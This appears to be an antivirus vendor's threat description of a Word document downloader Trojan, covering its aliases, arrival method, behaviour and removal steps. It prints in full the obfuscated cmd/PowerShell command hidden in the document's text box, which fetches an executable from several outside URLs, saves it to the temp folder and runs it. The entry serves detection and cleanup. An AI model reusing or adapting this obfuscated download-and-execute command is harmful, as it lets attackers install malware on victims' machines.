Analysis by: Warren Adam Sto. Tomas
ALIASES:

W97M/Dloader.9DCA!tr (Fortinet); W97M.Downloader (Norton)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It requires its main component to successfully perform its intended routine.

  TECHNICAL DETAILS

File Size: 137,600 bytes
File Type: DOC
Memory Resident: No
Initial Samples Received Date: 04 Dec 2018

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other Details

This Trojan requires its main component to successfully perform its intended routine.

It does the following:

  • It contains the following powershell code inside a text box:
    • Text Box: %COMSPEC% /V:ON/C"set Vf01= }}{hctac}}kaerb;Bpq$ ssecorP-tratS;)Bpq$(elifotevas.JjT$;)ydoBesnopser.tHo$(etirw.JjT$;1 = epyt.JjT$;)(nepo.JjT${ )'*ZM*' ekil- txetesnopser.tHo$( fI;)(dnes.tHo$;)0,UJU$,'TEG'(nepo.tHo${yrt{)JXE$ ni UJU$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = JjT$;'ptthlmx.2lmxsm' moc- tcejbO-weN= tHo$;)'exe.Zcp\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=Bpq$;)'@'(tilpS.'f6aLLXN34c/moc.nr{BLOCKED} albg//:ptth@Af9Fa7jx/rb.moc.r{BLOCKED} gid//:ptth@qn4eDgFR/cc.codi//:sptth@6Mm{BLOCKED} z/moc.zurug//:ptth@7OAxM1rO/moc.civo{BLOCKED} ah//:ptth'=JXE$;'CAq'=wjY$ llehsrewop&&for /L %3 in (542,-1,0)do set Zn=!Zn!!Vf01:~%3,1!&&if %3 leq 0 po%windir:~8,-1%%TMP:~-3,-2%r%CommonProgramW6432:~28%he%CommonProgramW6432:~-16,1%l "!Zn:*Zn!=!" "
  • The contents of the text box may be read and executed by other malware in order to successfully perform its intended routine.
  • The text box contains a powershell script which is capable of downloading from a number of specific URLs and save then execute the downloaded file

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.670.07
FIRST VSAPI PATTERN DATE: 06 Dec 2018
VSAPI OPR PATTERN File: 14.671.00
VSAPI OPR PATTERN Date: 07 Dec 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.POWLOAD.TIHAOHAR. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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